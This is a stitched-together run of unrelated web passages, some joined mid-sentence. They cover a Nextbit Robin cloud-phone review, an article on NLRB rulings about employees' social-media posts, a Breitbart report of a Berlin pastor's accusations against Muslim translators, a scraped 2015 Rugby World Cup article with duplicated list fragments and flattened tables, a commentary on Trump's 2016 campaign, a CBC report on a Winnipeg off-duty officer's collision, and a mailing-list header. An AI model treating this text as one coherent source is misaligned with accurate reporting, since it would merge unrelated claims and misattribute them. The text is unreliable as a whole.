The fact that the phone doesn’t back up video only takes points from it, too; but there are some good things about the Robin’s system: the fact that the device keeps previews and only downloads the high-resolution picture when it’s needed is certainly an interesting solution to maximize available space at any given moment. But this also means that, if you don’t turn off such functionality, your full pictures are inaccessible without an internet connection. Sure, this is better than not having them all if you would otherwise back up the pictures and delete them from your phone. But the act of deleting them in the second scenario is conscious and deliberate, whereas the Robin doesn’t know by default if you are planning to show a particular set of photos to someone later that week.
The Robin and Applications/Gaming
In my opinion, the Robin’s system falls short when it comes to its application backup ability too, in part due to the hardware. The device is running a Snapdragon 808, a chipset that’ll turn a year old soon, and it was not the most powerful chip of 2015 either — even with the throttling of the Snapdragon 810, I personally prefer that SoC after having experienced the 808 in the Nexus 5X. Reviews have also mentioned that the Robin gets hot, an issue all-too-common with 2015 Qualcomm chipsets, and one of the things I hated the most about my Nexus 5X. Because the chip was released close to a year ago, and not as a true flagship chipset nor the most powerful, and because it also shows signs of uncomfortable heat, I don’t think the Robin is as future proof as it could be — certainly not when we are one day away from the launch of Snapdragon 820 devices. Why does this matter?
As we said above, games take a large chunk of storage. Given that backing-up games is thus one of the better uses for its automatic cloud storage, it is sad to know that this phone is not extremely capable at games due to its chipset and the constraints it brings. It’s also worth noting that plenty of games backup your savefile (or account information) nowadays by themselves, either through Google Play Games or a service of their own, meaning you could also just delete the game and download it when you want to play it again. As far as regular applications go, some reviewers noted that the phone backed up key applications without their knowledge or consent, such as the pebble companion app. You can pin applications so that it doesn’t upload what you don’t want it to, but this means additional nannying for a system that aims to be all about convenience… and a kind of nannying that severely take away from your experience if an unlucky coincidence arises.
Cloud Storage and Traditional Storage
The Robin comes with 32GB of base storage, of which around 25GB are available for the user to play around with. While this is the standard for flagship phones today, it’s worth noting that the Robin doesn’t offer a microSD slot, thereby omitting the possibility of storage expansion. This is actually one of the reasons why its main feature is so compelling — in contrast with devices that offer 64GB or 128GB variants, or devices with microSD support, the Robin is more dependent on cloud-based solutions to the problem. If the Robin allowed for microSD expansion, and thus more storage, there’d be less of a need for a cloud-based solution.
We’ve had discussions and debates on XDA regarding whether cloud-reliant services and solutions are better than traditional computing and storage, and we understandably arrived at the conclusion that there are advantages and disadvantages to each. But storage of various files, especially pictures, can already be easily automated through a myriad of services, including Google’s. Google’s sync infrastructure evolved into a Marshmallow feature that, as arstechnica said, few people talk about — app backups through the targeting of API level 23. This allows the app’s data to be backed up and restored upon installation from the Play Store. The Robin offers a similar, automated solution with much wider support of applications, and also convenience, as it does it in the background for you. But the functionality itself is not wholly exclusive to the Robin.
And then there is the fact that Nextbit offers 100GB of cloud storage for apps and pictures. This isn’t a bad offer, but let’s consider the following: Google Photos already offers unlimited storage for pictures, albeit not at their original quality, and you can use plenty of other services for backing up photos as well. But what’s more, Marshmallow now also allows the microSD card to be more useful, as they can now be “adopted” as internal storage. This doesn’t solve the fact that using a microSD is typically not as optimal as using true internal storage, particularly because not all microSDs are created equal. But this does mean that you can add even 200GB of storage to your phone with microSD support, and now that particular kind of storage is more useful than ever before, and you also have full control over what happens within that expanded memory.
Finally, and perhaps most importantly, let’s not forget that a cloud-reliant service is thus reliant on your internet connection. And this means your experience is affected by your internet speed, connection to the network, and also the amount of data you have each month. For road warriors with unlimited data, this isn’t much of a problem, but not everyone has full access to the internet anywhere and at any time, and that access is also expensive or slow depending on where you live. This dependence already writes out a huge number of markets, as cloud phones are very inefficient in places where wi-fi or data plans are slow or inconsistent (I would know, I come from Latin America… thanks Claro!).
Convenience vs. Control
The point of this article is not to discredit the Robin — I am sure that Nextbit put plenty of effort into making its system work, and as reviews point out, it does work. The takeaway from the arguments presented above is not one against the Robin in particular (and not out of cynicism), but against the notion that the storage problem on Android has gotten so bad that we simply must jump on solutions like the Robin’s. Additionally, I wanted to showcase how the Robin in particular is a nice example of what the concept could look like, but not a phone fully centered and designed around maximizing the usefulness of its selling point, due to both hardware and software. This doesn’t mean the Robin is a bad phone — far from it, it brings plenty of virtues to the table that are worth commending, such as a truly original design, and an amazing warranty that fits enthusiasts and ROM junkies like a glove, as it’s valid even if you brick the phone while experimenting.
What I’ve argued here is primarily a case against the notion that we need a phone (or many) specifically aimed at targeting the storage woes of Android. Truth be told, Android phones should have more storage by now, and I hope we move past the 32GB standard this year. Luckily, phones haven’t fully abandoned microSD support, and the Galaxy S7 is set to bring back the feature after its abandonment brought Samsung a condemnation from power users. And with Marshmallow adding more functionality to microSD cards, those lucky phones that choose to support it will empower customers with even more flexibility.
So, to sum up: the concept of a cloud phone, and specifically one as demonstrated by the Robin, is not something everyone needs, and it seeks to correct a problem few people encounter on a regular basis. The potential nuances that the system detailed above brings can arguably outweigh the cons of unexpectedly running out of storage in a pinch. One already has access to plenty of cloud services to back-up photos; Marshmallow also allows for app data backup so that you musn’t start over; many services and games already store your settings and crucial app data with your account, which can often be tied to Google for a seamless login; power-users can access app-backup services like Titanium Backup, too, with plenty of control and potential for automation, albeit not as conveniently; microSDs are not dead, and are now more useful (and larger!) than before.
The Robin itself does also pack an older SoC which was never superbly good to begin with, and the camera experience is lacking, making the picture-backup portion of the phone less appealing than that of a phone with a great camera that can also be set to back-up pictures. None of this is a condemnation of the Robin, or of cloud phones. But I think these are compelling arguments that show that, as of yet, cloud phones (as a concept) haven’t proven their usefulness over conventional phones that can also be set to be heavily cloud-reliant."[Employers] have to be very clear that their provisions don't prevent employees from engaging in Statute 7 protections," says Attorney Matt Bahl of Portland law firm Verrill Dana. Statute 7, part of the National Labor Relations Act, protects employees' rights to organize for better working conditions and terms.
In 2010, a female ambulance worker in Connecticut fumed about her boss on Facebook, calling him names like "scumbag" and writing, "Love how the company allows a 17 to be a supervisor." Number 17 referred to her company's code for a psychiatric patient. The employee was discharged.
In September 2011, a hospital employee in Miami exchanged private Facebook messages with a coworker blasting their colleagues. "A question: Are [redacted] n [redacted] still there making life miserable for u guys? Is [redacted] still the wimp he is?" he wrote. This employee was also fired.
These discharges are two of many cases that have recently come before the National Labor Relations Board, an independent federal agency charged with safeguarding employees' rights and enforcing fair labor practices. While the incidents appear to follow a common theme — an employee disparages a company or boss online — they actually represent both legal and illegal behavior. The board found that in the first instance, the employee was illegally fired; her online protests were protected under the National Labor Relations Act. In the second case, the board said the employee was airing a personal gripe and his boss had the right to fire him. The difference between the cases had to do with the context of the comments and the facts of each situation. The cases also point to the increasingly complicated rules surrounding employees' use of social media and the extent to which an employer can control that use.
Attorney Rebecca Webber, who represents employers and employees with the Auburn firm Linnell, Choate and Webber, says the NLRB decision backing the worker who called her boss a scumbag on Facebook garnered national media attention. And it made employers nervous. "That started a firestorm. [Employers responded], 'What do you mean? If employees get on Facebook and start slamming people they work with, we can't fire them?'" she says. She surmises that if employers read more NLRB decisions on social media conflicts, they would wonder whether "the world's going crazy."
In the last couple of years, a landslide of social media disputes has been filed with the NLRB, including two involving Maine businesses: the National Federation of Independent Businesses and Skills Inc.
An employee at Skills Inc., a nonprofit in Waterville and St. Albans that provides services for the disabled, filed a charge with the NLRB, which recommended the charge be dismissed. According to the NLRB, which disclosed few facts about the case, the employee was fired after he criticized his employer on Facebook. The NLRB found his post was not protected under labor law.
"He had heard about [the ambulance company case] and misunderstood its scope. We decided to dismiss and he withdrew his charge," Rosemary Pye, NLRB's regional director for New England, wrote in an email.
Tom Davis, executive director of Skills Inc., says the case, and its initial dismissal and later resurrection and settlement, illustrates for him how uncharted these waters are.
"We have general guidelines, but technology and cyberspace evolves very quickly. It used to be we would go to an employment attorney once or twice a year and have policies reviewed, and come away with a high level of confidence. … But that's no longer true," he says. "We are constantly in revision, and tweaking mode, because every new development with Facebook, Twitter, [photo sharing site] Flickr, presents its own unique sets of challenges and issues to be resolved."
The 21st century water cooler
Attempting to clear up what has become a murky legal area, the NLRB's General Counsel in August released a report on rulings on workers' rights and online communications. "The report came out in response to a growing concern of human resources professionals, government officials and business people that no one knew what the cases meant or how human resources professionals were supposed to address these issues," says Matthew Bahl, a corporate labor and employment lawyer with Portland firm Verrill Dana.
Did the report provide clarity for the business community? "It's clear as mud," Bahl says, adding that since August, he's continued to field calls from employers who are confused about the matter.
David Strock, a law partner with Fisher and Phillips in Portland who represents employers, gave a talk at a Maine State Bar Association event in December to help shed light on the NLRB's position. "The point of our presentation is that the board is not doing anything crazy; it's applying traditional labor law principles to a social media context," he explains. "A few years ago the board woke up to, 'Wow, social media is a place where people are meeting and talking; it's a lot like the water cooler of the 20th century.'" In this analogy, the NLRB has legal relevance, Strock says, and has set about applying a labor law enacted in 1935 to Facebook and other social media sites to protect employees who want to demand better working conditions or organize.
Pye says her agency views social media as a place where "people are exercising their rights in a new fashion," and while the platform does raise new issues, an employee going home and complaining on his computer about, for instance, a dusty, hot factory, "is really just a further development of very traditional concerted activity."
But doubts have been raised as to whether social media is really akin to water coolers. "These conversations," where employees grouse about their boss or work, "have been going on since the dawn of time," Bahl says. "But now there's a permanence to them. They used to drift off into the ether," he says, waving his hand in the air as if to demonstrate the dissipation of a comment that once may have been harmless, but today, if posted on Facebook, Twitter or a blog, could damage the reputation of a company or a person.
Strock, for one, says he believes traditional labor laws cannot be easily applied to social media. "I think it is a stretch to utilize the principles that were developed in the context of face-to-face activity and apply those to the online context," he says. "In the online context, you can have one person tweeting or making an online entry, and it doesn't just go to coworkers, it can go to millions of people. It really is a different audience."
Many voices, one brand
Despite the difficulties of employees' use of social media, many companies recognize the importance of having online strategies for their marketing and branding efforts. As more of their business moves to the Internet, it's increasingly important for companies to have social media policies, say lawyers and HR professionals. A solid policy should help avoid legal scrapes and shape the corporate brand (see "What to put in your social media policy," this page.)
Deborah Whitworth, president of the Human Resources Association of Southern Maine, says she advises companies to empower a select few employees to represent them online. As for other staff, she says, "I'm not sure social media is the right place to talk about employment, whether it's positive or negative."
Other companies see the marketing value of a robust social media presence that involves many employees as outweighing any inherent risk.
"We encourage employees to use social media because we believe they're our best brand advocate," says Laurie Brooks, a spokeswoman at L.L.Bean. While the company doesn't dictate what employees do online, it does encourage ethical, responsible behavior. "We don't tell employees what they should do. We don't say, 'You must have Twitter.' We want them to have guidelines," Brooks says.
Those guidelines include identifying themselves as L.L.Bean employees, being fair and accurate, avoiding defamatory statements when blogging or making posts related to L.L.Bean, and avoiding references that identify customers, portray them negatively or violate their privacy.
Tom's of Maine launched an online strategy 18 months ago, coming up with protocols for employees' online behavior, according to Rob Robinson, the company's brand manager, community activation. One of the company's objectives was to allow employees to incorporate social media into their jobs. "Social media is an opportunity to show the faces, the individuals who work here," he says. "They're living representatives of how our products and programs come to life. The more our employees are interested in actively being involved, the more that comes to life."
Tom's of Maine does not restrict what employees say, other than to ask they not share proprietary information and they identify themselves as company employees. "We don't have a rule in place to say you're not allowed to talk badly about the company," and if it were to happen, Robinson says, the situation would be approached as an educational opportunity. "We're all encouraged to speak and raise issues and work together to solve them. If [the comment is] active on our platforms, if we noticed it, we might discuss with the person to let them know the info wasn't private."
Social media dilemmas
Tom's of Maine's social media policy seems to hit the right legal balance. It's illegal for employers to have overly broad policies that prohibit employees from complaining about the terms and conditions of employment, or discourage them from communicating with other workers about their dissatisfaction. But distinguishing between a legally protected complaint posted on Facebook and an individual gripe about a manager or company is not always simple.
Although the NLRB is trying to standardize its approach to work-related social media conflicts, its decisions from case to case can be confusing. Some disgruntled employees are protected whereas others are not — and it's often the circumstantial details that determine judgment, such as whether coworkers supported the upset employee, how abusive the comments were or how much they revealed about working conditions.
If a company finds itself in a social-media pickle, it should read the legal case history and seek parallels between its situation and others, Bahl recommends. And don't overreact, he says. "It's not enough to have a visceral reaction" by disciplining or discharging an employee for an online post. "You have to dig deep into the situation and contextualize."
So far, the social media cases before the NLRB have been settled out of court. "There has been a whole lot of noise but what people don't focus on, and this is good news for employers, is that this is a remedial statute," attorney Webber says. "It's supposed to fix the problem." Rather than penalizing companies with fines, the NLRB asks companies in the wrong to rehire discharged employees and provide back pay and interest.
Yet, as the issue remains in flux and the NLRB continues to make decisions about social media disputes, employers and HR managers will likely stay perplexed. Bahl points out that the NLRB is made up of five members with five-year terms who are appointed by the president. "In the last 20 years, the board has become increasingly political depending on who's in the White House," Bahl says. "Another thing that's frustrating for employers is, it's wait and see. It could be completely different later. Labor law changes rapidly, particularly with swings in political parties."
Strock agrees. "This area is so fluid," he says. But that doesn't mean an employer should ignore it until the rules are sorted out. "I think the amount of information and activity that's occurring online is too significant for employers to simply turn a blind eye," he says.
DOWNLOAD PDFs
National Labor Relations Board's report on workers' rights and online communicationMuslim translators are deliberately misinterpreting migrants who converted to Christianity in order to get them deported, a Berlin pastor has said.
In a damning verdict on Germany’s Ministry for Immigration and Refugees (BAMF), Rev Gottfried Martens said Afghan and Iranian migrants who convert to Christianity are subject to “kangaroo court” hearings where “almost exclusively Muslim translators” falsely translate their responses.
Rev Martens, who has baptised over 1,000 former Muslims since the start of the migrant crisis, says officials who hear the cases are poorly trained, receiving little more than a three-week course.
In a letter to supporters, the pastor wrote: “Many are manifestly clueless about the situation of Christians in Iran and Afghanistan, and worse yet they are utterly clueless concerning questions relating to the Christian faith.”
“But all of this does not prevent them from assuming the role of self-appointed experts, whose questions ‘unmask’ the supposedly deceitful Iranian asylum applicants one after another, even when those hearing the cases don’t even know the difference between the Creed and the Our Father.”
He said the newly-converted applicants are often asked unreasonably difficult questions about their new faith, including the names of the two sons in the parable of the Prodigal Son, or how Martin Luther died.
“In this way Christians who learned the first elements of the Christian faith in their house church in Iran are well and truly hung out to dry,” he said.
He also said Muslim translators “deliberately stick the knife in our congregational members by falsely translating what they say”.
He called for Christian migrants to be housed separately to Muslims, and strongly criticised Catholic and mainline Protestant leaders who oppose this on the basis it may show the religions cannot exist peacefully.
Breitbart London reported in February how six Christians were attacked in their asylum accommodation, but ended up being expelled themselves.
The pastor referred to this incident in his letter, saying:
“In February we experienced how a group of almost 100 radical Muslim asylum applicants attacked six Christians so brutally in their residence that the police ended up having to use their dogs to protect the six Christians from a pogrom.”
“As almost always happens in such cases, a few days later the six Christians were banned from the institution that housed them.”An American eBayer has auctioned off a week |
]
South Africa [ edit ]
The South African Rugby Union (SARU) had confirmed its intent to bid for the 2015 tournament,[22] and in May 2009 South Africa delivered its application to the IRB.[23] South Africa had previously made an unsuccessful bid to host the 2011 RWC. The strengths of a South African bid would be that it is in the same time zone as Europe, the wealthiest television market from a rugby perspective, that South Africa were the current World Cup holders, that they had successfully hosted the 1995 Rugby World Cup, won the 2007 Rugby World Cup and that they were in the process of building large new stadiums for the then-upcoming 2010 FIFA World Cup.
Venues [ edit ]
After England were appointed tournament hosts on 28 July 2009, the proposed stadia for the tournament were revealed. The final venues were confirmed, along with the tournament's schedule, on 2 May 2013.[24] Twelve of the stadia were located in England, while the Millennium Stadium located in neighbourn Wales was also to be used. In 2011, the IRB approved the use of the Millennium Stadium, despite being outside of the host country, due to its capacity and strategic location.[25] Of the thirteen venues, two were dedicated rugby union grounds (Kingsholm Stadium and Sandy Park), two were national rugby stadia (Twickenham and the Millennium Stadium), two were multi-purpose stadia (Wembley Stadium and Olympic Stadium), and the remainder were association football grounds.[26]
Proposed venues that did not make the final selection were the Stadium of Light in Sunderland, Coventry's Ricoh Arena, St Mary's Stadium in Southampton, Pride Park Stadium in Derby, Anfield in Liverpool and Bristol's Ashton Gate.[27] In April 2013, Old Trafford was withdrawn from consideration by its owners, Manchester United F.C., citing commitments to hosting rugby league and its Super League Grand Final and concerns about pitch degradation. The RWCL then approached neighbouring Manchester City about leasing their home stadium as a replacement. City agreed to let their stadium be used for the tournament but only for one match due to footballing commitments – down from the original three which were to be played at Old Trafford.[28] Etihad Stadium, as it was known for football sponsorship purposes, would be called 'Manchester City Stadium' by organisers for the duration of the tournament.[29]
Source: The Telegraph[31]
Team bases [ edit ]
The 41 venues that acted as team bases for the competing nations were announced on 26 August 2014.[32] All prospective team bases were subject to a rigorous selection process, which included an expansive and detailed programme of site visits as well as liaison with the competing Rugby World Cup 2015 teams. Each team base would consist of an outdoor and indoor training facility, a swimming pool, gym and hotel and would be used by the competing teams in the lead up to and during the World Cup.
Qualifying [ edit ]
Of the 20 teams competing at the 2015 World Cup, 12 of them qualified by finishing in the top three places in their pools in the 2011 Rugby World Cup. The other eight teams qualified through regional competition. As the host nation, England qualified automatically. The qualification process for the remaining teams incorporated existing regional competitions such as the European Nations Cup.[33]
Qualified teams [ edit ]
Twenty teams played in the final tournament. They are listed below, along with their pre-tournament positions in the World Rugby Rankings.[34] The list of teams was the same as in the 2003 tournament.
Draw [ edit ]
Seedings for the pools of the 2015 World Cup were based on the teams' respective IRB Rankings. The draw, hosted by Will Greenwood, was conducted on 3 December 2012 in London, and used the World Rankings as of that day, just after the 2012 end-of-year rugby union internationals, which finished on 1 December 2012.[35] The 12 automatic qualifiers from 2011 were allocated to their respective bands based on their rankings:
Band 1, made up of the top 4 automatic qualifiers, (1–4)
, made up of the top 4 automatic qualifiers, (1–4) Band 2, made up of the next 4 automatic qualifiers, (5–8)
, made up of the next 4 automatic qualifiers, (5–8) Band 3, made up of the next 4 automatic qualifiers (9–12)
The remaining 8 qualifying places were allocated to Bands 4 and 5, based on previous World Cup playing strength;
Band 4, made up of Oceania 1, Europe 1, Asia 1 and Americas 1
, made up of Oceania 1, Europe 1, Asia 1 and Americas 1 Band 5, made up of Africa 1, Europe 2, Americas 2 and play-off winner
This meant the 20 teams, qualified and qualifiers, were seeded thus:
Pot 2 England (5)
England Ireland (6)
Ireland Samoa (7)
Samoa Argentina (8)
Pot 3 Wales (9)
Wales Italy (10)
Italy Tonga (11)
Tonga Scotland (12)
Pot 4 Canada (Americas 1)
Canada Japan (Asia 1)
Japan Georgia (Europe 1)
Georgia Fiji (Oceania 1)
The draw saw a representative randomly draw a ball from a pot, the first drawn ball goes to Pool A, the second Pool B, the third Pool C and the fourth Pool D. The draw began with Pot 5, drawn by All Blacks captain Richie McCaw, followed by Pot 4, drawn by RWC 2015 Ambassador Maggie Alphonsi, then Pot 3, drawn by Mayor of London Boris Johnson, Pot 2, drawn by the then Chief Executive for RWC 2015 Debbie Jevans, and finally Pot 1, drawn by IRB chairman Bernard Lapasset.
Draw criticism [ edit ]
The timing of the draw drew criticism due to the long period between the draw occurring and the commencement of the tournament - three years.[36] Indeed, by the time of the pool match between England and Wales on 26 September, pool A contained the 2nd, 3rd and 4th (Australia, England and Wales) ranked teams in the world.[37] Following England's elimination at the pool stage after defeats by Australia and Wales – making them the first sole host nation and the first former champion not to reach the knockout stage[38] – Wales coach Warren Gatland noted that "Everyone is making a thing about the first home country to hold a World Cup to miss out on the quarter-finals, but the stupid thing, as we all know, is why was the World Cup draw done three years ago? That's just ridiculous as far as I am concerned. If they had followed the football model, then we wouldn't be in this position. There are other people outside this who need to have a look at themselves and why those decisions were made, and you have got to feel sorry for the people involved and who this has affected".[39] The chief executive of World Rugby Brett Gosper subsequently acknowledged criticisms, saying "We’ll look at that next time to see if it’s possible to make the draw closer to the tournament".[40]
Squads [ edit ]
Each country was allowed a squad of 31 players for the tournament. These squads were to be submitted to World Rugby by a deadline of 31 August 2015. Once the squad was submitted, a player could be replaced if injured, but would not be allowed to return to the squad. There was also a stand-down period of 48 hours before the new player was allowed to take the field. Hence, a replacement player called into a squad on the eve of a game would not be permitted to play in that game.[41]
Pool stage [ edit ]
The first round, or pool stage, saw the 20 teams divided into four pools of five teams, using the same format that was used in 2003, 2007, and 2011. Each pool was a single round-robin of ten games, in which each team played one match against each of the other teams in the same pool. Teams were awarded four points for a win, two points for a draw and none for a defeat. A team scoring four tries in one match scored a bonus point, as did a team that lost by fewer than eight points.[42]
The teams finishing in the top two of each pool would advance to the quarter-finals. The top three teams of each pool received automatic qualification to the 2019 Rugby World Cup (Japan had already automatically qualified as hosts).[43]
Tie-breaking criteria
If two or more teams were tied on match points, the following tiebreakers would apply:[44]
The winner of the match between the two teams; Difference between points scored for and points scored against in all pool matches; Difference between tries scored for and tries scored against in all pool matches; Points scored in all pool matches; Most tries scored in all pool matches; Official World Rugby Rankings as of 12 October 2015.
If three teams were tied on points, the above criteria would be used to decide first place in the Pool, and then the criteria would be used again (starting from criteria 1) to decide second place in the Pool.
Key to colours in pool tables Advanced to the quarter-finals and qualified for the 2019 Rugby World Cup Eliminated but qualified for 2019 Rugby World Cup
Pld = Number of games played; W = Number of games won; D = Number of games drawn; L = Number of games lost; TF = Number of tries scored (Tries For); PF = Number of points scored in the game (Points For); PA = Number of points scored against the team (Points Against); +/– = The difference, PF – PA; BP = Bonus (pool) points ; Pts = Total number of (pool) points.
Pool A [ edit ]
Australia beat England 33–13 at Twickenham Stadium in London.
Team Pld W D L TF PF PA +/− BP Pts Australia 4 4 0 0 17 141 35 +106 1 17 Wales 4 3 0 1 11 111 62 +49 1 13 England 4 2 0 2 16 133 75 +58 3 11 Fiji 4 1 0 3 10 84 101 –17 1 5 Uruguay 4 0 0 4 2 30 226 –196 0 0
Pool B [ edit ]
South Africa beat the USA 64–0 at the Olympic Stadium in London.
Team Pld W D L TF PF PA +/− BP Pts South Africa 4 3 0 1 23 176 56 +120 4 16 Scotland 4 3 0 1 14 136 93 +43 2 14 Japan 4 3 0 1 9 98 100 –2 0 12 Samoa 4 1 0 3 7 69 124 –55 2 6 United States 4 0 0 4 5 50 156 –106 0 0
Pool C [ edit ]
New Zealand beat Argentina 26–16 at Wembley Stadium in London.
Team Pld W D L TF PF PA +/− BP Pts New Zealand 4 4 0 0 25 174 49 +125 3 19 Argentina 4 3 0 1 22 179 70 +109 3 15 Georgia 4 2 0 2 5 53 123 –70 0 8 Tonga 4 1 0 3 8 70 130 –60 2 6 Namibia 4 0 0 4 8 70 174 –104 1 1
Pool D [ edit ]
Ireland beat Canada 50–7 at the Millennium Stadium in Cardiff.
Team Pld W D L TF PF PA +/− BP Pts Ireland 4 4 0 0 16 134 35 +99 2 18 France 4 3 0 1 12 120 63 +57 2 14 Italy 4 2 0 2 7 74 88 –14 2 10 Romania 4 1 0 3 7 60 129 –69 0 4 Canada 4 0 0 4 7 58 131 –73 2 2
Knockout stage [ edit ]
Bronze final [ edit ]
Final [ edit ]
Awards [ edit ]
During the 2015 World Rugby Awards, Japan's final try and victory against South Africa was named the World Cup best match moment, while Rugby World Cup sponsors Société Générale unveiled their dream team, made up of the best performing players of the Tournament.[53]
2015 Rugby World Cup dream team[54]
Statistics [ edit ]
The top point scorer of the entire tournament was Argentine fly-half Nicolás Sánchez with 97, from one try, 13 conversions, 20 penalties and two drop goals.[55] New Zealand wing Julian Savea scored the most tries, eight, equalling the record for one tournament set by his compatriot Jonah Lomu and South African Bryan Habana.[56]
Match officials [ edit ]
World Rugby named the following twelve referees, seven assistant referees, and four television match officials to handle the pool stage games:[57]
Media coverage [ edit ]
ITV Sport was the UK and worldwide host broadcaster for the 2015 event, having signed a deal in 2011 to broadcast the 2011 and 2015 RWC tournaments. ITV won the rights after outbidding rivals including the BBC and Sky Sports.[58] It showed every match from the tournament live in the UK on ITV or ITV4.[59]
1 Except British Indian Ocean Territory - Chagos Archipelago, Cape Verde, Chad, Democratic Republic of Congo, Djibouti, Mauritania, Mauritius, Mayotte, North Africa, Réunion, Somalia, South Sudan and Tristan da Cunha.
2 Except Belize.
3 Except Brazil and South Georgia and South Sandwich Islands.
Television network Country or Region Broadcasting Canal+ Africa Francophone Central and West Africa All 48 matches live on Canal+ Sport 3 Eurosport[84] Austria, Belgium, Germany, Liechtenstein, Luxembourg, Switzerland 20 matches live, including opening match and final Fox Sports Asia[85] Cambodia, China (Via STAR Sports), Hong Kong, Indonesia, South Korea (Via STAR Sports Korea), Macau, Mongolia, Myanmar, Papua New Guinea, Philippines, Singapore, Taiwan, Thailand, Vietnam, Malaysia All 48 matches broadcast live Fiji TV[60] Cook Islands, East Timor, Solomon Islands, Niue, Nauru, Vanuatu, Kiribati, Northern Marianas, Tokelau, Tahiti, Tuvalu, New Caledonia, American Samoa, Marshall Islands, Palau and Federated States of Micronesia. Papua New Guinea, Wallis and Futuna, Nouvelle Calédonie, Îles Éparses, Polynésie Française. All 48 matches broadcast live [62] OSN[60] Algeria, Bahrain, Egypt, Jordan, Kuwait, Lebanon, Morocco, Saudi Arabia, Oman, Qatar, Tunisia, UAE All 48 matches broadcast live or on delay TF1[60] Monaco 21 matches, including all French matches, the best pool stage matches, all quarter-finals, both semi-finals, the bronze final and the final Viaplay, Viasat[86] Denmark, Finland, Norway, Sweden All 48 matches broadcast live on OTT Service Viaplay, with selected games on Viasat Sport
[87][62]
Video game [ edit ]
The officially licensed Rugby World Cup 2015 video game was released on 4 September 2015 on PC, PS3, PS4, PS Vita, Xbox 360 and Xbox One.[88] IGN rated the game 1.5/10, calling it "unbearable".[89]
Tickets [ edit ]
Ticket prices were announced in November 2013 with general sale applications launching in September 2014.[90] Adult ticket prices started at £15 for pool matches and children's tickets were available from £7 at 41 of the 48 matches. Tickets for the World Cup final ranged from £150 to £715.[91]
See also [ edit ]
Notes [ edit ]
^ Although England, with its governing body the Rugby Football Union, is officially the sole "host nation" of the tournament, some matches are played in Cardiff, Wales. ^ [16] However, the 2015 World Cup retained its IRB branding, given the proximity of the rebrand to the event, and as merchandise was already available with IRB branding at the time of the name change. The 2019 Rugby World Cup will be the first to use full World Rugby branding. The IRB became World Rugby on 19 November 2014.However, the 2015 World Cup retained its IRB branding, given the proximity of the rebrand to the event, and as merchandise was already available with IRB branding at the time of the name change. The 2019 Rugby World Cup will be the first to use full World Rugby branding.The exchange was similar to one I reported three months ago, in which Donald Trump Jr. told an adviser to Gov. John Kasich of Ohio that a Vice President Kasich would effectively run both foreign and domestic policy while President Trump was busy “making America great again.” (Trump’s son later denied making such an offer, though Kasich and a second aide have confirmed that the conversation took place.) It also was in line with Trump farming out the work of drawing up a list of potential Supreme Court nominees to the Heritage Foundation and the Federalist Society. The list of 11 jurists the conservative organizations gave him last spring was, I’m told by a Trump confidante, accepted without Trump asking a single question about the names on it.
This lack of concern for the fine print, or even the not-so-fine kind, has always been one of the most divisive features of Trump’s now-embattled candidacy, refreshing to his supporters and appalling to most everyone else. Immediately following the third debate, a CNN/ORC poll found that by a margin of 59 to 35, people found that Clinton was better prepared to handle the presidency than Trump. For all of his authoritarian impulses, Trump has sent signals that in the increasingly unlikely event of his election next month, his would be the most outsourced presidency in recent memory. His disinterest in policy intricacies was evident in all three debates.
But it’s not even clear whether Trump would find the overall experience of being the nation’s chief executive all that interesting. On a plane ride back from a campaign stop in Buffalo this April, Trump volunteered to me that what would interest him most as president, “other than jobs,” would be “dealing with foreign leaders. I really look forward to doing that.” Creating jobs and negotiating with his counterparts are, arguably, the two skills Trump would be bringing from his experience as a developer. Other than building a wall — another throwback, perhaps, to the brick-and-mortar pursuits of his prior life — it has been difficult to imagine much else that would animate a President Trump.
Trump’s defenders maintain that as president he would be a big-picture chief executive who delegates the grubby mechanics of governance to like-minded professionals from the private sector. That argument might be more persuasive if professionalism were the hallmark of Trump’s campaign operation. Because it isn’t, the odds that we will ever get to see which executive model would prevail in a Trump administration are fast shrinking.
Unsurprisingly, Trump and his team continue to profess to see a path to victory, albeit one that sidesteps scientific polling, data-driven outreach and other reality-based tactics of the political trade. The sentiment in Trump Tower is that Trump is still in the game because he has already achieved the impossible. After all, as Trump’s longest-serving advisers argue, he should never have trounced the field in New Hampshire, where door-to-door supplication of the local residents — not Trump-style jetting in and out for large rallies — is the tried-and-true tradition. A rich Yankee with an unconcealable big-city accent and only a grudging genuflection toward religion should never have carried so many states in the South. The experts, surveying one of the strongest fields of conventional Republican contenders in years, proclaimed Trump had as good a chance of playing in the N.B.A. finals as getting the nomination. So why believe the experts now, after Trump has spent the past 18 months making them look like losers? Why trust any of the old rules? Instead, why not trust Trump?Manitoba's Independent Investigation Unit is probing a case in which an off-duty police officer hit a pedestrian on Portage Avenue on Tuesday morning.
Winnipeg police said Tuesday morning that a person had been taken to Health Sciences Centre in stable condition with undetermined injuries after a crash around 9:20 a.m. CT at the intersection of Portage Avenue near Langside Street.
At that time, they did not say a police officer had been involved.
The pedestrian was originally identified as a male, but on Wednesday police corrected that information to indicate the victim is a woman.
When police learned later on Tuesday that the pedestrian was in unstable condition with serious injuries, they closed the eastbound lanes around the scene so investigators could do accident reconstruction. The Independent Investigation Unit said Wednesday that Winnipeg traffic police conducted further examination of the scene and assisted IIU investigators in their probe.
It wasn't until Wednesday that the IIU, which investigates serious cases involving police, informed the public they had taken over the case, that a police officer had been involved, and that the 46-year-old victim's condition had worsened.
The IIU said the woman had been walking between cars across Portage Avenue when she was hit by the officer's personal vehicle.
Police said on Wednesday the woman remains in hospital in stable condition. The driver remained at the scene, said police.
Evidence markers were placed on the eastbound lanes of Portage Avenue, several hours after the crash occurred. (Kelly Malone/CBC)
No charges have been laid.
Maurice Sabourin, head of the Winnipeg Police Association, said he doesn't believe the incident is being investigated as a criminal case. He said the off-duty officer was on his way to attend court on his time off.
The Independent Investigation Unit asks witnesses or other individuals with information about the collision or video footage to contact them at 1-844-667-6060.
Nothing 'untoward': police chief
The crash happened more than 10 hours before a separate collision, in which Cody Severight was hit by a vehicle and killed on Main Street near Sutherland Avenue. An off-duty police officer has been charged with impaired driving and leaving the scene of a crime in that case.
Police Chief Danny Smyth said the two incidents are very different.
Manitoba's Independent Investigation Unit is probing a case in which an off-duty police officer hit a pedestrian on Portage Avenue on Tuesday morning. 1:09 "Traffic collisions happen every day. Certainly the one that occurred earlier in the morning, I'm not as concerned with," Smyth said. "I'm concerned with the well-being of the person who was struck, but it doesn't appear anything untoward happened there."
More from CBC Manitoba:ubuntu-phone team mailing list archive
Preliminary SIM PIN Support
To : ubuntu-phone <ubuntu-phone@xxxxxxxxxxxxxxxxxxx>
: ubuntu-phone <ubuntu-phone@xxxxxxxxxxxxxxxxxxx> From : Tony Espy <espy@xxxxxxxxxxxxx>
